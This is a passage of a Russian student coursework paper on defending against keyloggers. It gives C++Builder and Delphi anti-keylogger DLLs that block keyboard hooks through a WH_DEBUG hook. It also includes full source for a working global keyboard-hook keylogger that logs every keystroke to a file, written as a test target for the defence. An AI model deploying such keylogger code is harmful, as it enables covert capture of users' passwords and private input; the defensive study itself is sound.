Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Курсовая работа - Разработка компонент защиты от кейлоггеров.doc
Скачиваний:
171
Добавлен:
02.05.2014
Размер:
508.93 Кб
Скачать

3. Создание защиты на практике

Вариант 1. C++Builder: Защита от клавиатурных шпионов

Подавляющее большинство клавиатурных шпионов использует для мониторинга нажатий клавиш hook-процедуру WH_KEYBOARD. Чтобы клавиатурное сообщение не попало в установленную ловушку, достаточно перехватить вызов этой hook-процедуры и отменить его. Это можно сделать, установив свой hook - WH_DEBUG. Процедура этого hook'а будет получать управление при вызове других hook-процедур (в том числе и WH_DEBUG, если такие уже имеются). Таким образом, мы устанавливаем hook для других hook'ов, получая, в результате, достаточно мощное средство.

Приступим к реализации. Создадим новый DLL-проект; VCL можно отключить.

Код процедуры в DLL:

extern "C" __export LRESULT CALLBACK

DebugProc(int nCode, WPARAM wParam, LPARAM lParam)

{

if(nCode == HC_ACTION)

{

if(wParam == WH_KEYBOARD)

{

if(MessageBox(NULL, "Do you want to pass keyboard message to WH_KEYBOARD

hook-procedure?",

"Confirmation",

MB_YESNO | MB_ICONQUESTION | MB_DEFBUTTON2 |

MB_TOPMOST | MB_SYSTEMMODAL) == IDNO)

return 1;

}

}

return CallNextHookEx(NULL, nCode, wParam, lParam);

}

Всё очень просто - проверяется тип вызываемой ловушки на соответствие WH_KEYBOARD, и, если равенство верное, запрашиваем подтверждение на вызов этой процедуры. Если в пропуске отказано, возвращается ненулевое значение.

Теперь осталось написать приложение, ответственное за установку и снятие этой ловушки.

Код: // Глобальные переменные:

HMODULE hDLL = NULL;

HHOOK hHook = NULL;

//---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)

{

if(hHook != NULL)

{

ShowMessage("The Hook has already been set.");

return;

}

hDLL = LoadLibrary("hook.dll");

if(hDLL == NULL)

{

ShowMessage("Can't load hook.dll. Reason:\n" + SysErrorMessage(GetLastError()));

return;

}

typedef LRESULT __import (CALLBACK *fnType)(int, WPARAM, LPARAM);

fnType DebugProc = (fnType)GetProcAddress(hDLL, "DebugProc");

if(DebugProc == NULL)

{

FreeLibrary(hDLL);

hDLL = NULL;

ShowMessage("Can't find \"DebugProc\" in hook.dll.");

return;

}

hHook = SetWindowsHookEx(WH_DEBUG, (HOOKPROC)DebugProc, hDLL, 0);

if(hHook == NULL)

{

FreeLibrary(hDLL);

hDLL = NULL;

ShowMessage("Can't set WH_DEBUG hook. Reason:\n" + SysErrorMessage(GetLastError()));

return;

}

}

//---------------------------------------------------------------------------

void __fastcall TForm1::FormDestroy(TObject *Sender)

{

if(hDLL)

FreeLibrary(hDLL);

if(hHook)

{

UnhookWindowsHookEx(hHook);

hHook = NULL;

}

}

Недостатки примера:

К моменту запуска этого приложения hook'и WH_KEYBOARD могут быть установлены другими программами, не являющимися шпионами. Поэтому, возможно, запрос из DLL будет появляться при любом нажатии клавиш, даже если не запущены никакие кейлоггеры.

При кратковременном нажатии на одну клавишу придётся отвечать на два сообщения (поскольку было два события - нажатие и отжатие). Но сообщения можно убрать вообще, они нужны только для демонстрации.

Сам клавиатурный шпион может установить WH_DEBUG-hook и блокировать вызовы остальных DEBUG-процедур.

Вариант 2. Кейлоггер и антикейлоггер

В примере показано, как с помощью DLL прекратить работу обычного KeyLogerr'а на основе SetWindowsHookEx. Вначале представлен программный код простого KL:

librarykl;

Uses

Windows

,Messages

;

Var

hook:HHook = 0;

Procedure WriteLog(const log: PChar);

Var

hFile: THandle;

dwError: DWord;

buf: array[0..1] of Char;

dwWritten: DWord;

Begin

hFile := CreateFile(PChar('kl'), GENERIC_WRITE, 0, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);

Try

If (hFile <> INVALID_HANDLE_VALUE) Then

Begin

dwError := SetFilePointer(hFile, 0, nil, FILE_END);

If (dwError <> $FFFFFFFF) Then

Begin

WriteFile(hFile, log^, length(log), dwWritten, nil);

buf[0] := #13;

buf[1] := #10;

WriteFile(hFile, buf, 2, dwWritten, nil);

End;

End;

Finally

CloseHandle(hFile);

End;

End;

Function HookProc(nCode: LongInt; wParam, lParam: LongInt): LongInt stdcall;

Var

lpszName: Array[0..255] Of Char;

Begin

If (nCode = HC_ACTION) And ((lParam shr 31) = 1) Then

Begin

GetKeyNameText(lParam, @lpszName, $FF);

WriteLog(PChar(@lpszName));

End;

Result := CallNextHookEx(Hook, nCode, wParam, lParam);

End;

procedure sethook(flag:bool);export; stdcall;

begin

if flag then

hook := SetWindowsHookEx(WH_KEYBOARD, @HookProc, hInstance, 0)

else

begin

unhookwindowshookex(hook);

hook:=0;

end;

end;

exports sethook;

begin

end.

KLзаписывает имена всех нажатых клавиш в указанный файл. Этого достаточно для проверки и написания АнтиКейлоггера.

АнтиКейлоггер это такое же .EXE приложение, устанавливающее Hook с помощью SetWindowsHookEx и использующее DLL. Единственное отличие в том, что хук будет устанавливаться не на WH_KEYBOARD, а на WH_DEBUG.

library akl;

Uses

Windows

;

Var

hook:HHook = 0;

Function DebugProc(nCode: LongInt; wParam, lParam: LongInt): LongInt stdcall;

Begin

If (nCode = HC_ACTION) Then

Begin

If (wParam = WH_KEYBOARD) Then

Begin

Result := 1;

Exit;

End;

End;

Result := CallNextHookEx(Hook, nCode, wParam, lParam);

End;

procedure sethook(flag:bool);export; stdcall;

begin

if flag then

hook := SetWindowsHookEx(WH_DEBUG, @DebugProc, hInstance, 0)

else

begin

unhookwindowshookex(hook);

hook:=0;

end;

end;

exports sethook;

begin

end.

Особенность в том, что, обнаружив wParam = WH_KEYBOARD, устанавливается Result := 1 и осуществляется выход без передачи управления на другую ловушку (CallNextHookEx).

Выводы

В связи с возросшим в последние годы числом spyware-приложений, наблюдался рост количества web-сайтов и злонамеренных пользователей, извлекающих выгоду установкой клавиатурных шпионов и кражей личной информации.

Нужно знать о подобной опасности и уметь определять её. Первым шагом в борьбе с spyware-приложениями будет использование альтернативного браузера, например FireFox, Safari, Opera и др. Если это по каким-либо причинам нельзя осуществить, то следует предпринять меры по постоянной профилактике вашей системы, по обнаружению и удалению клавиатурных шпионов.

Клавиатурный шпион не является вирусом, но тем не менее представляет большую угрозу для пользователей, поскольку позволяет злоумышленнику следить за работой пользователя и может применяться для похищения конфиденциальной информации, в том числе паролей пользователя. Опасность клавиатурного шпиона может существенно возрасти при его сочетании с RootKit-технологией, которая позволяет замаскировать присутствие клавиатурного шпиона. Еще более опасной является троянская или backdoor-программа, содержащая клавиатурный шпион, — его наличие существенно расширяет функции троянской программы и ее опасность для пользователя.

Практика показывает, что разработчики вредоносных программ (вирусов, троянских программ, шпионского ПО) все чаще начинают использовать RootKit-технологии, что существенно затрудняет обнаружение и удаление созданных ими вредоносных программ. Чаще всего применяются методики перехвата функций в режиме пользователя, но в последнее время появились весьма эффективные реализации с применением драйверов.

Известно, что сегодня существует универсальная и надежная методика, позволяющая обойти аппаратный клавиатурный шпион, — это использование экранной клавиатуры и иных способов ввода информации без применения клавиатуры. Следует отметить, что большинство современных антикейлоггеров специально для этих целей содержат собственную встроенную экранную клавиатуру.

Поиск аппаратных кейлоггеров непременно следует включить в должностные обязанности сотрудников службы информационной безопасности. При этом, естественно, необходимо иметь в виду, что вероятность установки аппаратного кейлоггера прямо пропорциональна ценности информации, вводимой на рабочем месте.

Список ссылок

  1. OOO”Центр Информационной Безопасности” [Електронний ресурс] - режим доступу: http://www.bezpeka.biz , вільний.

  2. Щеглов А.Ю. Защита компьютерной информации от несанкционированного доступа. – Санкт-Петербург : Наука и техника, 2004. – 384 с.

  3. Статті [Електронний ресурс] - режим доступу: http://articles.org.ru/ - , вільний.

  4. Д.Кнут Искусство программирования для ЭВМ. Сортировка и поиск.  М.: Мир, 1978.  843 с.

  5. Статті [Електронний ресурс] - режим доступу: http://www.realcoding.net/article/view/4321 - , вільний.

  6. Стаття «C++Builder: Защита от клавиатурных шпионов» [Електронний ресурс] - режим доступу: http://www.buildercpp.net.ru/articles/raznoe/raz035.htm - , вільний.

  7. Стаття «Охота за шпионом, или АнтиКейлоггер» [Електронний ресурс] - режим доступу: http://www.sources.ru/magazine/0805/antikeylogger.html - , вільний.

29